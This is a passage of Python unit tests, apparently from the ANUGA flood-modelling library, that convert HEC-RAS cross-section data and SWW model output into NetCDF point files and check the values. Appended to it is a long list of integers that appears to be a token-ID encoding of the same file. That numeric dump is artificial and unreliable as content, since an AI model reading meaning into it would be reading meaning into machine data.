407546.08 , 6437277.542
407329.32 , 6437489.482
407283.11 , 6437541.232
SURFACE LINE:
407546.08, 6437277.54, 52.14
407538.88, 6437284.58, 51.07
407531.68, 6437291.62, 50.56
407524.48, 6437298.66, 49.58
407517.28, 6437305.70, 49.09
407510.08, 6437312.74, 48.76
END:
CROSS-SECTION:
STREAM ID:Swan River
REACH ID:Swan Mouth
STATION:840.*
CUT LINE:
381178.0855 , 6452559.0685
380485.4755 , 6453169.272
SURFACE LINE:
381178.09, 6452559.07, 4.17
381169.49, 6452566.64, 4.26
381157.78, 6452576.96, 4.34
381155.97, 6452578.56, 4.35
381143.72, 6452589.35, 4.43
381136.69, 6452595.54, 4.58
381114.74, 6452614.88, 4.41
381075.53, 6452649.43, 4.17
381071.47, 6452653.00, 3.99
381063.46, 6452660.06, 3.67
381054.41, 6452668.03, 3.67
END:
END CROSS-SECTIONS:
""")
fid.close()
#Convert to NetCDF pts
sdf2pts(root+'.sdf')
#Check contents
#Get NetCDF
fid = NetCDFFile(root+'.pts', netcdf_mode_r)
# Get the variables
#print fid.variables.keys()
points = fid.variables['points']
elevation = fid.variables['elevation']
#Check values
ref_points = [[407546.08, 6437277.54],
[407538.88, 6437284.58],
[407531.68, 6437291.62],
[407524.48, 6437298.66],
[407517.28, 6437305.70],
[407510.08, 6437312.74]]
ref_points += [[381178.09, 6452559.07],
[381169.49, 6452566.64],
[381157.78, 6452576.96],
[381155.97, 6452578.56],
[381143.72, 6452589.35],
[381136.69, 6452595.54],
[381114.74, 6452614.88],
[381075.53, 6452649.43],
[381071.47, 6452653.00],
[381063.46, 6452660.06],
[381054.41, 6452668.03]]
ref_elevation = [52.14, 51.07, 50.56, 49.58, 49.09, 48.76]
ref_elevation += [4.17, 4.26, 4.34, 4.35, 4.43, 4.58, 4.41, 4.17, 3.99, 3.67, 3.67]
#print points[:]
#print ref_points
assert num.allclose(points, ref_points)
#print attributes[:]
#print ref_elevation
assert num.allclose(elevation, ref_elevation)
#Cleanup
fid.close()
os.remove(root + '.sdf')
os.remove(root + '.pts')
def test_sww2pts_centroids_1_5(self):
"""Test that sww information can be converted correctly to pts data at specified coordinates
- in this case, the centroids.
"""
import time, os
from anuga.file.netcdf import NetCDFFile
# Used for points that lie outside mesh
NODATA_value = 1758323
# Setup
from anuga.abstract_2d_finite_volumes.mesh_factory import rectangular
# Create shallow water domain
domain = Domain(*rectangular(2, 2))
domain.set_flow_algorithm('1_5')
B = Transmissive_boundary(domain)
domain.set_boundary( {'left': B, 'right': B, 'top': B, 'bottom': B})
domain.set_name('datatest_1_5')
ptsfile = domain.get_name() + '_elevation.pts'
swwfile = domain.get_name() + '.sww'
domain.set_datadir('.')
domain.format = 'sww'
domain.set_quantity('elevation', lambda x,y: -x-y)
domain.geo_reference = Geo_reference(56,308500,6189000)
sww = SWW_file(domain)
sww.store_connectivity()
sww.store_timestep()
#self.domain.tight_slope_limiters = 1
domain.evolve_to_end(finaltime = 0.01)
sww.store_timestep()
# Check contents in NetCDF
fid = NetCDFFile(sww.filename, netcdf_mode_r)
# Get the variables
x = fid.variables['x'][:]
y = fid.variables['y'][:]
elevation = fid.variables['elevation'][:]
time = fid.variables['time'][:]
stage = fid.variables['stage'][:]
volumes = fid.variables['volumes'][:]
# Invoke interpolation for vertex points
points = num.concatenate( (x[:,num.newaxis],y[:,num.newaxis]), axis=1 )
points = num.ascontiguousarray(points)
sww2pts(domain.get_name() + '.sww',
quantity = 'elevation',
data_points = points,
NODATA_value = NODATA_value)
ref_point_values = elevation
point_values = Geospatial_data(ptsfile).get_attributes()
#print 'P', point_values
#print 'Ref', ref_point_values
assert num.allclose(point_values, ref_point_values)
# Invoke interpolation for centroids
points = domain.get_centroid_coordinates()
#print points
sww2pts(domain.get_name() + '.sww',
quantity = 'elevation',
data_points = points,
NODATA_value = NODATA_value)
ref_point_values = [-0.5, -0.5, -1, -1, -1, -1, -1.5, -1.5] #At centroids
point_values = Geospatial_data(ptsfile).get_attributes()
#print 'P', point_values
#print 'Ref', ref_point_values
assert num.allclose(point_values, ref_point_values)
fid.close()
#Cleanup
os.remove(sww.filename)
os.remove(ptsfile)
def test_sww2pts_centroids_de0(self):
"""Test that sww information can be converted correctly to pts data at specified coordinates
- in this case, the centroids.
"""
import time, os
from anuga.file.netcdf import NetCDFFile
# Used for points that lie outside mesh
NODATA_value = 1758323
# Setup
from anuga.abstract_2d_finite_volumes.mesh_factory import rectangular
# Create shallow water domain
domain = Domain(*rectangular(2, 2))
B = Transmissive_boundary(domain)
domain.set_boundary( {'left': B, 'right': B, 'top': B, 'bottom': B})
domain.set_name('datatest_de0')
ptsfile = domain.get_name() + '_elevation.pts'
swwfile = domain.get_name() + '.sww'
domain.set_datadir('.')
domain.format = 'sww'
domain.set_quantity('elevation', lambda x,y: -x-y)
domain.geo_reference = Geo_reference(56,308500,6189000)
sww = SWW_file(domain)
sww.store_connectivity()
sww.store_timestep()
#self.domain.tight_slope_limiters = 1
domain.evolve_to_end(finaltime = 0.01)
sww.store_timestep()
# Check contents in NetCDF
fid = NetCDFFile(sww.filename, netcdf_mode_r)
# Get the variables
x = fid.variables['x'][:]
y = fid.variables['y'][:]
elevation = fid.variables['elevation'][:]
time = fid.variables['time'][:]
stage = fid.variables['stage'][:]
volumes = fid.variables['volumes'][:]
# Invoke interpolation for vertex points
points = num.concatenate( (x[:,num.newaxis],y[:,num.newaxis]), axis=1 )
points = num.ascontiguousarray(points)
sww2pts(domain.get_name() + '.sww',
quantity = 'elevation',
data_points = points,
NODATA_value = NODATA_value)
ref_point_values = elevation
point_values = Geospatial_data(ptsfile).get_attributes()
#print 'P', point_values
#print 'Ref', ref_point_values
assert num.allclose(point_values, ref_point_values)
# Invoke interpolation for centroids
points = domain.get_centroid_coordinates()
#print points
sww2pts(domain.get_name() + '.sww',
quantity = 'elevation',
data_points = points,
NODATA_value = NODATA_value)
#ref_point_values = [-0.5, -0.5, -1, -1, -1, -1, -1.5, -1.5] #At centroids
ref_point_values = [-0.77777777, -0.77777777, -0.99999998, -0.99999998,
-0.99999998, -0.99999998, -1.22222221, -1.22222221]
point_values = Geospatial_data(ptsfile).get_attributes()
#print 'P', point_values
#print 'Ref', ref_point_values
assert num.allclose(point_values, ref_point_values)
fid.close()
#Cleanup
os.remove(sww.filename)
os.remove(ptsfile)
#-------------------------------------------------------------
if __name__ == "__main__":
suite = unittest.makeSuite(Test_2Pts, 'test_')
runner = unittest.TextTestRunner() #verbosity=2)
runner.run(suite)
| [
1,
396,
7029,
10585,
13,
5215,
443,
27958,
13,
5215,
5694,
1445,
13,
5215,
528,
4422,
13,
5215,
12655,
408,
954,
13,
13,
29937,
319,
11601,
12739,
10585,
13,
3166,
385,
26281,
29889,
845,
9536,
29918,
13405,
29889,
845,
9536,
29918,
13405,
29918,
7247,
1053,
28460,
29871,
13,
3166,
385,
26281,
29889,
29302,
29918,
9067,
29879,
29889,
24756,
29918,
5679,
1053,
1879,
29877,
29918,
5679,
13,
3166,
385,
26281,
29889,
1445,
29889,
29879,
1615,
1053,
14350,
29918,
29879,
1615,
29892,
25289,
29956,
29918,
1445,
13,
3166,
385,
26281,
29889,
16595,
29918,
29906,
29881,
29918,
18925,
29918,
1555,
9351,
29889,
19206,
29918,
9917,
653,
29918,
1116,
2187,
320,
13,
462,
9651,
1053,
4103,
9894,
573,
29918,
9917,
653,
13,
3166,
385,
26281,
29889,
2917,
1053,
302,
7070,
2176,
29918,
8513,
29918,
29878,
29892,
302,
7070,
2176,
29918,
8513,
29918,
29893,
29892,
302,
7070,
2176,
29918,
8513,
29918,
29874,
29892,
320,
13,
462,
9651,
302,
7070,
2176,
29918,
7411,
13,
3166,
385,
26281,
29889,
479,
4705,
15238,
29918,
1272,
29889,
479,
4705,
15238,
29918,
1272,
1053,
1879,
4705,
15238,
29918,
1272,
13,
13,
29937,
1887,
10585,
13,
3166,
385,
26281,
29889,
1445,
29918,
535,
3259,
29889,
29879,
2176,
29906,
16485,
1053,
269,
2176,
29906,
16485,
13,
3166,
385,
26281,
29889,
1445,
29918,
535,
3259,
29889,
29879,
1615,
29906,
16485,
1053,
269,
1615,
29906,
16485,
13,
13,
3166,
282,
2158,
1053,
282,
2158,
13,
13,
1990,
4321,
29918,
29906,
29925,
1372,
29898,
348,
27958,
29889,
3057,
8259,
1125,
13,
1678,
9995,
4321,
2066,
393,
3588,
304,
282,
1372,
3402,
29889,
9995,
13,
268,
13,
1678,
822,
1243,
29918,
354,
29883,
3417,
29918,
19128,
29918,
27117,
29906,
16485,
29898,
1311,
1125,
13,
4706,
9995,
3057,
11301,
515,
379,
11206,
29934,
3289,
4891,
13926,
297,
408,
18869,
3402,
13,
4706,
304,
7531,
12670,
29907,
4037,
282,
1372,
3402,
13,
4706,
9995,
13,
13,
4706,
1053,
931,
29892,
2897,
13,
4706,
515,
385,
26281,
29889,
1445,
29889,
1212,
29883,
2176,
1053,
12670,
29907,
4037,
2283,
13,
13,
4706,
396,
6113,
1243,
12066,
934,
13,
4706,
3876,
353,
525,
354,
7283,
579,
342,
29915,
13,
13,
4706,
10422,
353,
3876,
29974,
4286,
29879,
2176,
29915,
13,
4706,
25947,
353,
1722,
29898,
9507,
29892,
525,
29893,
1495,
13,
4706,
25947,
29889,
3539,
703,
15945,
13,
29937,
390,
3289,
5609,
934,
2825,
373,
2598,
29871,
29896,
29945,
29909,
688,
29906,
29900,
29900,
29945,
29871,
29896,
29896,
29901,
29946,
29906,
13,
29937,
491,
379,
11206,
29899,
29934,
3289,
10079,
29871,
29941,
29889,
29896,
29889,
29896,
13,
13,
29933,
17958,
17714,
3035,
1001,
29901,
13,
29871,
8291,
1806,
29903,
29901,
341,
2544,
29934,
2965,
13,
29871,
360,
23081,
323,
6959,
29901,
323,
1177,
13,
29871,
360,
23081,
29901,
325,
22298,
29896,
1966,
20752,
1966,
546,
386,
29918,
3332,
29877,
1966,
3511,
29918,
29873,
262,
13,
29871,
6850,
1525,
5194,
17900,
29979,
1001,
29901,
274,
22298,
29916,
29918,
2997,
1966,
354,
29883,
3417,
1966,
29906,
29896,
29918,
29900,
29906,
29918,
29900,
29941,
1966,
786,
29918,
29883,
9450,
29918,
1760,
29941,
29881,
29889,
845,
29886,
13,
29871,
315,
1672,
1799,
29899,
1660,
9838,
17900,
29979,
1001,
29901,
274,
22298,
29916,
29918,
2997,
1966,
354,
29883,
3417,
1966,
29906,
29896,
29918,
29900,
29906,
29918,
29900,
29941,
1966,
786,
29918,
3068,
29918,
10351,
29941,
29881,
29889,
845,
29886,
13,
29871,
341,
3301,
13756,
29967,
29923,
9838,
29901,
501,
23081,
13,
29871,
13756,
29967,
29923,
9838,
796,
12413,
29901,
29871,
29945,
29900,
13,
29871,
27640,
5005,
29901,
16369,
29928,
29953,
29953,
13,
29871,
478,
20161,
2965,
1964,
27640,
5005,
29901,
13,
29871,
28019,
13635,
8079,
5195,
2477,
29950,
2890,
29901,
259,
29896,
29929,
13,
29871,
28019,
13635,
8079,
315,
1672,
1799,
29899,
1660,
9838,
29903,
29901,
259,
29906,
13,
11794,
17714,
3035,
1001,
29901,
13,
13,
13,
29933,
17958,
315,
1672,
1799,
29899,
1660,
9838,
29903,
29901,
13,
13,
29871,
315,
1672,
1799,
29899,
1660,
9838,
29901,
13,
1678,
6850,
1525,
5194,
3553,
29901,
29903,
283,
5063,
29899,
29956,
686,
549,
13,
1678,
5195,
2477,
29950,
3553,
29901,
29903,
283,
5063,
29899,
29956,
686,
549,
13,
1678,
6850,
8098,
29901,
29906,
29896,
29946,
29896,
29900,
13,
1678,
315,
2692,
365,
8895,
29901,
13,
539,
29946,
29900,
29955,
29945,
29946,
29953,
29889,
29900,
29947,
1919,
29871,
29953,
29946,
29941,
29955,
29906,
29955,
29955,
29889,
29945,
29946,
29906,
13,
539,
29946,
29900,
29955,
29941,
29906,
29929,
29889,
29941,
29906,
1919,
29871,
29953,
29946,
29941,
29955,
29946,
29947,
29929,
29889,
29946,
29947,
29906,
13,
539,
29946,
29900,
29955,
29906,
29947,
29941,
29889,
29896,
29896,
1919,
29871,
29953,
29946,
29941,
29955,
29945,
29946,
29896,
29889,
29906,
29941,
29906,
13,
1678,
317,
4574,
29943,
11538,
365,
8895,
29901,
13,
418,
29946,
29900,
29955,
29945,
29946,
29953,
29889,
29900,
29947,
29892,
1678,
29953,
29946,
29941,
29955,
29906,
29955,
29955,
29889,
29945,
29946,
29892,
1678,
29945,
29906,
29889,
29896,
29946,
13,
418,
29946,
29900,
29955,
29945,
29941,
29947,
29889,
29947,
29947,
29892,
1678,
29953,
29946,
29941,
29955,
29906,
29947,
29946,
29889,
29945,
29947,
29892,
1678,
29945,
29896,
29889,
29900,
29955,
13,
418,
29946,
29900,
29955,
29945,
29941,
29896,
29889,
29953,
29947,
29892,
1678,
29953,
29946,
29941,
29955,
29906,
29929,
29896,
29889,
29953,
29906,
29892,
1678,
29945,
29900,
29889,
29945,
29953,
13,
418,
29946,
29900,
29955,
29945,
29906,
29946,
29889,
29946,
29947,
29892,
1678,
29953,
29946,
29941,
29955,
29906,
29929,
29947,
29889,
29953,
29953,
29892,
1678,
29946,
29929,
29889,
29945,
29947,
13,
418,
29946,
29900,
29955,
29945,
29896,
29955,
29889,
29906,
29947,
29892,
1678,
29953,
29946,
29941,
29955,
29941,
29900,
29945,
29889,
29955,
29900,
29892,
1678,
29946,
29929,
29889,
29900,
29929,
13,
418,
29946,
29900,
29955,
29945,
29896,
29900,
29889,
29900,
29947,
29892,
1678,
29953,
29946,
29941,
29955,
29941,
29896,
29906,
29889,
29955,
29946,
29892,
1678,
29946,
29947,
29889,
29955,
29953,
13,
29871,
11056,
29901,
13,
13,
29871,
315,
1672,
1799,
29899,
1660,
9838,
29901,
13,
1678,
6850,
1525,
5194,
3553,
29901,
10840,
273,
6163,
13,
1678,
5195,
2477,
29950,
3553,
29901,
10840,
273,
341,
2438,
13,
1678,
6850,
8098,
29901,
29947,
29946,
29900,
5575,
13,
1678,
315,
2692,
365,
8895,
29901,
13,
539,
29941,
29947,
29896,
29896,
29955,
29947,
29889,
29900,
29947,
29945,
29945,
1919,
29871,
29953,
29946,
29945,
29906,
29945,
29945,
29929,
29889,
29900,
29953,
29947,
29945,
13,
539,
29941,
29947,
29900,
29946,
29947,
29945,
29889,
29946,
29955,
29945,
29945,
1919,
29871,
29953,
29946,
29945,
29941,
29896,
29953,
29929,
29889,
29906,
29955,
29906,
13,
1678,
317,
4574,
29943,
11538,
365,
8895,
29901,
13,
418,
29941,
29947,
29896,
29896,
29955,
29947,
29889,
29900,
29929,
29892,
1678,
29953,
29946,
29945,
29906,
29945,
29945,
29929,
29889,
29900,
29955,
29892,
1678,
29946,
29889,
29896,
29955,
13,
418,
29941,
29947,
29896,
29896,
29953,
29929,
29889,
29946,
29929,
29892,
1678,
29953,
29946,
29945,
29906,
29945,
29953,
29953,
29889,
29953,
29946,
29892,
1678,
29946,
29889,
29906,
29953,
13,
418,
29941,
29947,
29896,
29896,
29945,
29955,
29889,
29955,
29947,
29892,
1678,
29953,
29946,
29945,
29906,
29945,
29955,
29953,
29889,
29929,
29953,
29892,
1678,
29946,
29889,
29941,
29946,
13,
418,
29941,
29947,
29896,
29896,
29945,
29945,
29889,
29929,
29955,
29892,
1678,
29953,
29946,
29945,
29906,
29945,
29955,
29947,
29889,
29945,
29953,
29892,
1678,
29946,
29889,
29941,
29945,
13,
418,
29941,
29947,
29896,
29896,
29946,
29941,
29889,
29955,
29906,
29892,
1678,
29953,
29946,
29945,
29906,
29945,
29947,
29929,
29889,
29941,
29945,
29892,
1678,
29946,
29889,
29946,
29941,
13,
418,
29941,
29947,
29896,
29896,
29941,
29953,
29889,
29953,
29929,
29892,
1678,
29953,
29946,
29945,
29906,
29945,
29929,
29945,
29889,
29945,
29946,
29892,
1678,
29946,
29889,
29945,
29947,
13,
418,
29941,
29947,
29896,
29896,
29896,
29946,
29889,
29955,
29946,
29892,
1678,
29953,
29946,
29945,
29906,
29953,
29896,
29946,
29889,
29947,
29947,
29892,
1678,
29946,
29889,
29946,
29896,
13,
418,
29941,
29947,
29896,
29900,
29955,
29945,
29889,
29945,
29941,
29892,
1678,
29953,
29946,
29945,
29906,
29953,
29946,
29929,
29889,
29946,
29941,
29892,
1678,
29946,
29889,
29896,
29955,
13,
418,
29941,
29947,
29896,
29900,
29955,
29896,
29889,
29946,
29955,
29892,
1678,
29953,
29946,
29945,
29906,
29953,
29945,
29941,
29889,
29900,
29900,
29892,
1678,
29941,
29889,
29929,
29929,
13,
418,
29941,
29947,
29896,
29900,
29953,
29941,
29889,
29946,
29953,
29892,
1678,
29953,
29946,
29945,
29906,
29953,
29953,
29900,
29889,
29900,
29953,
29892,
1678,
29941,
29889,
29953,
29955,
13,
418,
29941,
29947,
29896,
29900,
29945,
29946,
29889,
29946,
29896,
29892,
1678,
29953,
29946,
29945,
29906,
29953,
29953,
29947,
29889,
29900,
29941,
29892,
1678,
29941,
29889,
29953,
29955,
13,
29871,
11056,
29901,
13,
11794,
315,
1672,
1799,
29899,
1660,
9838,
29903,
29901,
13,
15945,
1159,
13,
13,
4706,
25947,
29889,
5358,
580,
13,
13,
13,
4706,
396,
18455,
304,
12670,
29907,
4037,
282,
1372,
13,
4706,
269,
2176,
29906,
16485,
29898,
4632,
29974,
4286,
29879,
2176,
1495,
13,
13,
4706,
396,
5596,
8118,
13,
4706,
396,
2577,
12670,
29907,
4037,
13,
4706,
25947,
353,
12670,
29907,
4037,
2283,
29898,
4632,
29974,
4286,
16485,
742,
302,
7070,
2176,
29918,
8513,
29918,
29878,
29897,
13,
13,
4706,
396,
3617,
278,
3651,
13,
4706,
396,
2158,
25947,
29889,
20897,
29889,
8149,
580,
13,
4706,
3291,
353,
25947,
29889,
20897,
1839,
9748,
2033,
13,
4706,
11858,
362,
353,
25947,
29889,
20897,
1839,
29872,
2608,
362,
2033,
13,
13,
4706,
396,
5596,
1819,
13,
4706,
2143,
29918,
9748,
353,
5519,
29946,
29900,
29955,
29945,
29946,
29953,
29889,
29900,
29947,
29892,
29871,
29953,
29946,
29941,
29955,
29906,
29955,
29955,
29889,
29945,
29946,
1402,
13,
462,
418,
518,
29946,
29900,
29955,
29945,
29941,
29947,
29889,
29947,
29947,
29892,
29871,
29953,
29946,
29941,
29955,
29906,
29947,
29946,
29889,
29945,
29947,
1402,
13,
462,
418,
518,
29946,
29900,
29955,
29945,
29941,
29896,
29889,
29953,
29947,
29892,
29871,
29953,
29946,
29941,
29955,
29906,
29929,
29896,
29889,
29953,
29906,
1402,
13,
462,
418,
518,
29946,
29900,
29955,
29945,
29906,
29946,
29889,
29946,
29947,
29892,
29871,
29953,
29946,
29941,
29955,
29906,
29929,
29947,
29889,
29953,
29953,
1402,
13,
462,
418,
518,
29946,
29900,
29955,
29945,
29896,
29955,
29889,
29906,
29947,
29892,
29871,
29953,
29946,
29941,
29955,
29941,
29900,
29945,
29889,
29955,
29900,
1402,
13,
462,
418,
518,
29946,
29900,
29955,
29945,
29896,
29900,
29889,
29900,
29947,
29892,
29871,
29953,
29946,
29941,
29955,
29941,
29896,
29906,
29889,
29955,
29946,
5262,
13,
13,
4706,
2143,
29918,
9748,
4619,
5519,
29941,
29947,
29896,
29896,
29955,
29947,
29889,
29900,
29929,
29892,
29871,
29953,
29946,
29945,
29906,
29945,
29945,
29929,
29889,
29900,
29955,
1402,
13,
462,
539,
518,
29941,
29947,
29896,
29896,
29953,
29929,
29889,
29946,
29929,
29892,
29871,
29953,
29946,
29945,
29906,
29945,
29953,
29953,
29889,
29953,
29946,
1402,
13,
462,
539,
518,
29941,
29947,
29896,
29896,
29945,
29955,
29889,
29955,
29947,
29892,
29871,
29953,
29946,
29945,
29906,
29945,
29955,
29953,
29889,
29929,
29953,
1402,
13,
462,
539,
518,
29941,
29947,
29896,
29896,
29945,
29945,
29889,
29929,
29955,
29892,
29871,
29953,
29946,
29945,
29906,
29945,
29955,
29947,
29889,
29945,
29953,
1402,
13,
462,
539,
518,
29941,
29947,
29896,
29896,
29946,
29941,
29889,
29955,
29906,
29892,
29871,
29953,
29946,
29945,
29906,
29945,
29947,
29929,
29889,
29941,
29945,
1402,
13,
462,
539,
518,
29941,
29947,
29896,
29896,
29941,
29953,
29889,
29953,
29929,
29892,
29871,
29953,
29946,
29945,
29906,
29945,
29929,
29945,
29889,
29945,
29946,
1402,
13,
462,
539,
518,
29941,
29947,
29896,
29896,
29896,
29946,
29889,
29955,
29946,
29892,
29871,
29953,
29946,
29945,
29906,
29953,
29896,
29946,
29889,
29947,
29947,
1402,
13,
462,
539,
518,
29941,
29947,
29896,
29900,
29955,
29945,
29889,
29945,
29941,
29892,
29871,
29953,
29946,
29945,
29906,
29953,
29946,
29929,
29889,
29946,
29941,
1402,
13,
462,
539,
518,
29941,
29947,
29896,
29900,
29955,
29896,
29889,
29946,
29955,
29892,
29871,
29953,
29946,
29945,
29906,
29953,
29945,
29941,
29889,
29900,
29900,
1402,
13,
462,
539,
518,
29941,
29947,
29896,
29900,
29953,
29941,
29889,
29946,
29953,
29892,
29871,
29953,
29946,
29945,
29906,
29953,
29953,
29900,
29889,
29900,
29953,
1402,
13,
462,
539,
518,
29941,
29947,
29896,
29900,
29945,
29946,
29889,
29946,
29896,
29892,
29871,
29953,
29946,
29945,
29906,
29953,
29953,
29947,
29889,
29900,
29941,
5262,
13,
13,
13,
4706,
2143,
29918,
29872,
2608,
362,
353,
518,
29945,
29906,
29889,
29896,
29946,
29892,
29871,
29945,
29896,
29889,
29900,
29955,
29892,
29871,
29945,
29900,
29889,
29945,
29953,
29892,
29871,
29946,
29929,
29889,
29945,
29947,
29892,
29871,
29946,
29929,
29889,
29900,
29929,
29892,
29871,
29946,
29947,
29889,
29955,
29953,
29962,
13,
4706,
2143,
29918,
29872,
2608,
362,
4619,
518,
29946,
29889,
29896,
29955,
29892,
29871,
29946,
29889,
29906,
29953,
29892,
29871,
29946,
29889,
29941,
29946,
29892,
29871,
29946,
29889,
29941,
29945,
29892,
29871,
29946,
29889,
29946,
29941,
29892,
29871,
29946,
29889,
29945,
29947,
29892,
29871,
29946,
29889,
29946,
29896,
29892,
29871,
29946,
29889,
29896,
29955,
29892,
29871,
29941,
29889,
29929,
29929,
29892,
29871,
29941,
29889,
29953,
29955,
29892,
29871,
29941,
29889,
29953,
29955,
29962,
13,
13,
4706,
396,
2158,
3291,
7503,
29962,
13,
4706,
396,
2158,
2143,
29918,
9748,
13,
4706,
4974,
954,
29889,
497,
5358,
29898,
9748,
29892,
2143,
29918,
9748,
29897,
13,
13,
4706,
396,
2158,
8393,
7503,
29962,
13,
4706,
396,
2158,
2143,
29918,
29872,
2608,
362,
13,
4706,
4974,
954,
29889,
497,
5358,
29898,
29872,
2608,
362,
29892,
2143,
29918,
29872,
2608,
362,
29897,
13,
13,
4706,
396,
29907,
14044,
786,
13,
4706,
25947,
29889,
5358,
580,
13,
13,
13,
4706,
2897,
29889,
5992,
29898,
4632,
718,
15300,
29879,
2176,
1495,
13,
4706,
2897,
29889,
5992,
29898,
4632,
718,
15300,
16485,
1495,
13,
13,
13,
13,
13,
1678,
822,
1243,
29918,
29879,
1615,
29906,
16485,
29918,
1760,
1007,
29879,
29918,
29896,
29918,
29945,
29898,
1311,
1125,
13,
4706,
9995,
3057,
393,
269,
1615,
2472,
508,
367,
11543,
5149,
304,
282,
1372,
848,
472,
6790,
10350,
13,
4706,
448,
297,
445,
1206,
29892,
278,
1644,
1007,
29879,
29889,
13,
4706,
9995,
13,
13,
4706,
1053,
931,
29892,
2897,
13,
4706,
515,
385,
26281,
29889,
1445,
29889,
1212,
29883,
2176,
1053,
12670,
29907,
4037,
2283,
13,
4706,
396,
501,
8485,
363,
3291,
393,
3804,
5377,
27716,
13,
4706,
11698,
14573,
29918,
1767,
353,
29871,
29896,
29955,
29945,
29947,
29941,
29906,
29941,
13,
13,
4706,
396,
3789,
786,
13,
4706,
515,
385,
26281,
29889,
16595,
29918,
29906,
29881,
29918,
18925,
29918,
1555,
9351,
29889,
4467,
29882,
29918,
14399,
1053,
7705,
6825,
13,
13,
4706,
396,
6204,
4091,
340,
4094,
5354,
13,
4706,
5354,
353,
28460,
10456,
1621,
6825,
29898,
29906,
29892,
29871,
29906,
876,
13,
4706,
5354,
29889,
842,
29918,
1731,
29918,
20567,
877,
29896,
29918,
29945,
1495,
13,
13,
4706,
350,
353,
4103,
9894,
573,
29918,
9917,
653,
29898,
7247,
29897,
13,
4706,
5354,
29889,
842,
29918,
9917,
653,
29898,
11117,
1563,
2396,
350,
29892,
525,
1266,
2396,
350,
29892,
525,
3332,
2396,
350,
29892,
525,
8968,
2396,
350,
1800,
13,
13,
4706,
5354,
29889,
842,
29918,
978,
877,
4130,
271,
342,
29918,
29896,
29918,
29945,
1495,
13,
13,
4706,
282,
1372,
1445,
353,
5354,
29889,
657,
29918,
978,
580,
718,
22868,
29872,
2608,
362,
29889,
16485,
29915,
13,
4706,
269,
1615,
1445,
353,
5354,
29889,
657,
29918,
978,
580,
718,
15300,
29879,
1615,
29915,
13,
13,
4706,
5354,
29889,
842,
29918,
4130,
328,
381,
12839,
1495,
13,
4706,
5354,
29889,
4830,
353,
525,
29879,
1615,
29915,
13,
4706,
5354,
29889,
842,
29918,
22640,
877,
29872,
2608,
362,
742,
14013,
921,
29892,
29891,
29901,
448,
29916,
29899,
29891,
29897,
13,
13,
4706,
5354,
29889,
24756,
29918,
5679,
353,
1879,
29877,
29918,
5679,
29898,
29945,
29953,
29892,
29941,
29900,
29947,
29945,
29900,
29900,
29892,
29953,
29896,
29947,
29929,
29900,
29900,
29900,
29897,
13,
13,
4706,
269,
1615,
353,
25289,
29956,
29918,
1445,
29898,
7247,
29897,
13,
4706,
269,
1615,
29889,
8899,
29918,
6915,
2068,
580,
13,
4706,
269,
1615,
29889,
8899,
29918,
9346,
342,
1022,
580,
13,
13,
4706,
396,
1311,
29889,
7247,
29889,
29873,
523,
29918,
29879,
417,
412,
29918,
13400,
414,
353,
29871,
29896,
13,
4706,
5354,
29889,
29872,
1555,
345,
29918,
517,
29918,
355,
29898,
8394,
2230,
353,
29871,
29900,
29889,
29900,
29896,
29897,
13,
4706,
269,
1615,
29889,
8899,
29918,
9346,
342,
1022,
580,
13,
13,
4706,
396,
5399,
8118,
297,
12670,
29907,
4037,
13,
4706,
25947,
353,
12670,
29907,
4037,
2283,
29898,
29879,
1615,
29889,
9507,
29892,
302,
7070,
2176,
29918,
8513,
29918,
29878,
29897,
13,
13,
4706,
396,
3617,
278,
3651,
13,
4706,
921,
353,
25947,
29889,
20897,
1839,
29916,
2033,
7503,
29962,
13,
4706,
343,
353,
25947,
29889,
20897,
1839,
29891,
2033,
7503,
29962,
13,
4706,
11858,
362,
353,
25947,
29889,
20897,
1839,
29872,
2608,
362,
2033,
7503,
29962,
13,
4706,
931,
353,
25947,
29889,
20897,
1839,
2230,
2033,
7503,
29962,
13,
4706,
7408,
353,
25947,
29889,
20897,
1839,
19190,
2033,
7503,
29962,
13,
13,
4706,
18167,
353,
25947,
29889,
20897,
1839,
1555,
9351,
2033,
7503,
29962,
13,
13,
13,
4706,
396,
512,
5744,
29694,
363,
12688,
3291,
4706,
13,
4706,
3291,
353,
954,
29889,
535,
29883,
2579,
403,
29898,
313,
29916,
7503,
29892,
1949,
29889,
1482,
8990,
1402,
29891,
7503,
29892,
1949,
29889,
1482,
8990,
11724,
9685,
29922,
29896,
1723,
13,
4706,
3291,
353,
954,
29889,
294,
1285,
5526,
681,
2378,
29898,
9748,
29897,
13,
4706,
269,
1615,
29906,
16485,
29898,
7247,
29889,
657,
29918,
978,
580,
718,
15300,
29879,
1615,
742,
13,
18884,
14728,
353,
525,
29872,
2608,
362,
742,
13,
18884,
848,
29918,
9748,
353,
3291,
29892,
13,
18884,
11698,
14573,
29918,
1767,
353,
11698,
14573,
29918,
1767,
29897,
13,
4706,
2143,
29918,
3149,
29918,
5975,
353,
11858,
362,
13,
4706,
1298,
29918,
5975,
353,
1879,
4705,
15238,
29918,
1272,
29898,
16485,
1445,
467,
657,
29918,
15697,
580,
13,
4706,
396,
2158,
525,
29925,
742,
1298,
29918,
5975,
13,
4706,
396,
2158,
525,
5620,
742,
2143,
29918,
3149,
29918,
5975,
308,
13,
4706,
4974,
954,
29889,
497,
5358,
29898,
3149,
29918,
5975,
29892,
2143,
29918,
3149,
29918,
5975,
29897,
308,
13,
13,
13,
13,
4706,
396,
512,
5744,
29694,
363,
1644,
1007,
29879,
13,
4706,
3291,
353,
5354,
29889,
657,
29918,
1760,
1007,
29918,
1111,
24266,
580,
13,
4706,
396,
2158,
3291,
13,
4706,
269,
1615,
29906,
16485,
29898,
7247,
29889,
657,
29918,
978,
580,
718,
15300,
29879,
1615,
742,
13,
18884,
14728,
353,
525,
29872,
2608,
362,
742,
13,
18884,
848,
29918,
9748,
353,
3291,
29892,
13,
18884,
11698,
14573,
29918,
1767,
353,
11698,
14573,
29918,
1767,
29897,
13,
308,
13,
4706,
2143,
29918,
3149,
29918,
5975,
353,
21069,
29900,
29889,
29945,
29892,
448,
29900,
29889,
29945,
29892,
448,
29896,
29892,
448,
29896,
29892,
448,
29896,
29892,
448,
29896,
29892,
448,
29896,
29889,
29945,
29892,
448,
29896,
29889,
29945,
29962,
259,
396,
4178,
1644,
1007,
29879,
13,
13,
13,
4706,
1298,
29918,
5975,
353,
1879,
4705,
15238,
29918,
1272,
29898,
16485,
1445,
467,
657,
29918,
15697,
580,
13,
4706,
396,
2158,
525,
29925,
742,
1298,
29918,
5975,
13,
4706,
396,
2158,
525,
5620,
742,
2143,
29918,
3149,
29918,
5975,
308,
13,
4706,
4974,
954,
29889,
497,
5358,
29898,
3149,
29918,
5975,
